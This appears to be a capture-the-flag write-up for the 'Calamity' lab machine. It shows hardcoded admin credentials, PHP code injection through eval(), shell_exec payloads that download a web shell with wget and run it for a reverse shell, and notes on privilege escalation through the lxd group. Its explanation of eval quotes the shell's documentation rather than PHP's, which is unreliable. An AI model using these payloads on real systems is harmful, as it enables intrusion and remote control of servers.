- Calamity - php command injection

PHP code injection, Privilege Escalation through groups

Summary: vulnerable software : Vulnerability in the PHP code system vulnerable : vulnerability explanation : privilege escalation: LXD user given root permissions severity : critical

Enumeration with nmap and masscan:

I used opendoor.py to discover critical directories that led to server compromise later on:

Command run:

python ./opendoor.py --host -s directories -t 50

Credentials exposed in the source code of admin.php:

Successful login with user:admin and password:skoupidotenekes and command injection when using <?php phpinfo() ?> in "Your HTML" form:

Gaining Access:

Since we have a command injection in a PHP code we can issue to download a shell x.php:

<?php echo shell_exec("wget -O /var/tmp/x.php 2>&1");?>

wget saving shell to /var/tmp/x.php

In the same manner execute: <?php echo shell_exec("php /var/tmp/x.php 2>&1");?> to gain a reverse shell on the port we set up earlier:

Content of admin.php responsbile for command injection:

www-data@calamity:/var/www/html$ cat admin.php
cat admin.php
if (!isset($_COOKIE['adminpowa'])) {
<form method="post">
Password: <input type="text" name="user"><br>
Username: <input type="password" name="pass">
<input type="submit" value="Log in to the powerful administrator page">
<!-- password is:skoupidotenekes-->
if(isset($_POST['user']) && isset($_POST['pass'])){
$u = $_POST['user'];
$p = $_POST['pass'];
if ($u=="admin" && $p=="skoupidotenekes") {setcookie("adminpowa", "noonecares"); header("refresh: 0;");}
else{echo "GET OUT OF HERE ";}
if (isset($_COOKIE['adminpowa'])) {
<title>GOT U BEEJAY</title>
what were you waiting for dude ?you know I aint finished creating<br>
xalvas,the boss said I am a piece of shit and that I dont take my job seriously...but when all this is set up...Ima ask for double the money<br>
just cauz he insulted me <br>
Maybe he's still angry at me deleting the DB on the previous site...he should keep backups man !
anyway I made an html interpreter to work on my php skills !
It wasn't easy I assure you...I'm just a P-R-O on PHP !!!!!!!!!
access in here is like 99% secure ,but even if that 1% reaches this page ,there's nothing they can do !
html is super-harmless to our system!
Try writing some simple stuff ...and see how difficult my job is and how underpaid I am
<form method="get">
Your HTML: <input type="text" name="html"><br>
<input type="submit" value="SHOW ME DA PAGE">
//print "\$myvar=\"test\";phpinfo();\n";
$x = $_GET['html'];
$cmd="?>" . $x;
eval($cmd); //what could possibly go wrong ?
//echo $myvar;

Explanation of the vulnerable part of the code:

eval [arg ...]
The args are read and concatenated together into a single com-
mand. This command is then read and executed by the shell, and
its exit status is returned as the value of eval. If there are
no args, or only null arguments, eval returns 0.

On a different note, mysterious recording recov.wav contains "never give you up by rick astley". Well done there.

Privilege escalation:

1) Look at the differences in wav files

2) Privesc through groups:

uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)